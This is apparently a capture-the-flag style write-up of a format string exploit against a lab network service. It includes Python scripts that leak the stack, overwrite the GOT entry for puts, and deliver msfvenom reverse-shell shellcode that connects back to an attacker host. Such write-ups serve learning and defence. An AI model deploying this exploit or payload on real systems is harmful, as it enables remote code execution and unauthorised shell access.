I analyzed the source code first. The program asks a username first, then a login password, finally it constructs a string from the passed username, login password and our ip/port with snprintf and passes this string to the syslog function. Syslog works the same way as printf: the second argument is treated as a control string and the function has variable argument list. The input of the program we can modify is the username and login password. This input controls the syslog function. This is the reason of the vulnerability.

I created a python script which sends the required strings. I ran the script and checked the syslog. The vulnerability can be verified if we send several %08x and see if the stack is printed.

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.152"
PORT=2994

username = "username xxx%08x-%08x-%08x-%08x\n"
password = "login xxx\n"

# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send(username)
s1.send(password)

# Close the socket
s1.close()

Then I sent several well recognizable characters and tried to find them on the stack. This helped me determine the padding and the number which is used in the Direct Access.screen-shot-2016-12-04-at-16-45-15

When I was done with finding the correct number, I determined the GOT address of puts with objdump. The printf function is called after the logit, but the compiler optimizes it and replaces it with puts since there is no other passed arguments. The address, where the address of puts resides, is 0x804a194. If we put the address of our shellcode here with the format string vulnerability, then our shellcode will be executed.

I passed the shellcode with ‘login’. I used the same shellcode I had used in final0.

Finally crashed the application, determined the address of the shellcode and fixed format string, so that the correct address is written into GOT. The final working shellcode:

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.152"
PORT=2994


# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.184.1 LPORT=4444 -a x86 --platform linux -b '\x00\x0a\x0d' -f python
# Found 10 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 95 (iteration=0)
# x86/shikata_ga_nai chosen with final size 95
# Payload size: 95 bytes
# Final size of python file: 470 bytes

buf =  ""
buf += "\xbe\x14\x92\x9f\xca\xd9\xc9\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x73\x0e\x03\x67\x9c\x7d"
buf += "\x3f\xb6\x7b\x76\x23\xeb\x38\x2a\xce\x09\x36\x2d\xbe"
buf += "\x6b\x85\x2e\x2c\x2a\xa5\x10\x9e\x4c\x8c\x17\xd9\x24"
buf += "\xa3\xf8\xa1\xb5\xd3\xfa\xd1\xa4\x7f\x72\x30\x76\x19"
buf += "\xd4\xe2\x25\x55\xd7\x8d\x28\x54\x58\xdf\xc2\x09\x76"
buf += "\x93\x7a\xbe\xa7\x7c\x18\x57\x31\x61\x8e\xf4\xc8\x87"
buf += "\x9e\xf0\x07\xc7"


# address of buf on the stack: 0xbffffbd7

username = "username XX" + "\x94\xa1\x04\x08" + "\x96\xa1\x04\x08" + "%64427d%16$n%50216d%17$n\n"
password = "login X" + buf + "\n"

# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send(username)
s1.send(password)

# Close the socket
s1.close()